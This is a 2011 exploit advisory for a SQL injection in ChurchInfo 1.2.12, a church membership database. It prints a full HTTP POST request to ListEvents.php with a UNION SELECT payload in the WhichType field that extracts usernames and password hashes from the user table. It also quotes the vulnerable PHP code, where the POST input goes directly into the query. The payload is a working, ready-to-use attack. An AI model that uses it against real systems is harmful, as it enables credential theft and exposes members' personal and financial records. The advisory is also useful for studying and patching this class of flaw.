ChurchInfo 1.2.12 - SQL Injection

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2011-01-01                              ]
 ##############################################################
 #  [ ChurchInfo <= 1.2.12 ]  SQL Injection Vulnerability     #
 ##############################################################
 #
 # Script: "ChurchInfo is a free church database program to help churches track members, 
 #	    families, groups, pledges and payments..."
 #
 # Script site: http://www.churchdb.org/
 # Download: http://sourceforge.net/projects/churchinfo/
 #
 # [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php
 # 
 #  POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
 #  Host: site.com
 #  User-Agent: Mozilla/5.0
 #  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #  Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #  Accept-Encoding: gzip,deflate
 #  Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #  Keep-Alive: 115
 #  Connection: keep-alive
 #  Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
 #  Content-Type: application/x-www-form-urlencoded
 #  Content-Length: 150
 #   
 #  WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1
 #   
 #  HTTP/1.1 200 OK
 #  Date: Sat, 01 Jan 2011 15:39:10 GMT
 #  Server: Apache
 #  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
 #  Expires: Thu, 19 Nov 1981 08:52:00 GMT
 #  Pragma: no-cache
 #  X-Powered-By: PHP/4.4.9
 #  Keep-Alive: timeout=2, max=200
 #  Connection: Keep-Alive
 #  Transfer-Encoding: chunked
 #  Content-Type: text/html
 #    
 #    
 # Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48)
 #
 # ...
 # require 'Include/Config.php';
 # require 'Include/Functions.php';                             // (0) You should be logged in as some user
 # $eType="All";
 # $ThisYear=date("Y");
 # 
 # if ($_POST['WhichType']){
 #   $eType = $_POST['WhichType'];                              // (1)
 # } else {
 #   $eType ="All";
 # }
 # 
 # if($eType!="All"){
 #   $sSQL = "SELECT * FROM event_types WHERE type_id=$eType";  // (2)
 #   $rsOpps = RunQuery($sSQL);
 #   $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH);
 #   extract($aRow);
 #   $sPageTitle = "Listing Events of Type = ".$type_name;      // (3)
 # } else {
 #   $sPageTitle = gettext("Listing All Church Events");
 # }
 # ...  
 #
 #
 # Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37)
 # 
 # ...  
 #    <title>ChurchInfo: <?php echo $sPageTitle; ?></title>     // (4) 
 # ...  
 # 
 ###############################################

 
 [ dun / 2011 ]